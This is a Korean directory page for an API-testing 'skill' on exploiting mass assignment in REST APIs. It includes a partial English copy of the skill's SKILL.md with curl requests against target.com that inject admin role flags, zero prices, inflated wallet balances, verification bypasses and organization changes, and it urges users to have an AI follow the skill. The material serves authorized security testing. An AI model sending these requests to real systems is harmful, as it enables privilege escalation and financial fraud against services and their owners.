본문으로 건너뛰기
Skillpedia
보안35k · #7914

exploiting-mass-assignment-in-rest-apis

하는 일

이 도구는 API(애플리케이션끼리 통신할 때 쓰는 인터페이스)의 보안 결함을 찾아 악용하는 데 도움을 줍니다. ‘is administrator’ 같은 예상치 못한 정보를 API가 받는 요청에 넣어, 허용된 것보다 더 많은 권한을 얻을 수 있는지 확인합니다.

사용하는 경우

  • ✓JSON 데이터를 받는 API의 보안을 테스트할 때.
  • ✓일반 사용자가 관리자가 될 수 있는지 확인할 때.
  • ✓정보를 만들거나 업데이트하는 시스템의 결함을 찾는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“프로필을 업데이트할 때 API로 보내는 데이터에 ‘role: admin’이나 ‘isAdmin: true’를 넣어 봐 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 있으면 안 되는 추가 필드를 넣어 API에 요청을 보냅니다. API가 이 필드를 받아들이고 동작을 바꾸면(예: 관리자 권한 부여) 결함이 발견된 것입니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting Mass Assignment in REST APIs

When to Use

  • When testing REST APIs that accept JSON input for creating or updating resources
  • During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
  • When testing user registration, profile update, or account management endpoints
  • During bug bounty hunting on applications with CRUD API operations
  • When evaluating role-based access control implementation in API-driven applications

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation


…
자주 묻는 질문

‘대량 할당(Mass Assignment)’이란 무엇인가요?

API가 요청에 담긴 많은 데이터 필드를 하나씩 확인하지 않고 자동으로 받아들여 객체에 바로 적용하는 것입니다. 악의적인 사용자가 권한 수준처럼 설정하면 안 되는 필드를 설정할 수 있게 됩니다.

어떤 도구를 사용하나요?

Burp Suite, Postman, Arjun, param-miner 같은 도구를 사용해 요청을 가로채고, 분석하고, 수정된 요청을 API에 보냅니다.

이것을 쓰려면 프로그래밍을 알아야 하나요?

API의 작동 방식과 ORM 프레임워크가 무엇인지 기본적으로 이해하면 도움이 됩니다. 다만 도구가 복잡한 과정 중 많은 부분을 자동으로 처리합니다.

상세 정보

작성자의 원본 설명

Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7914
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬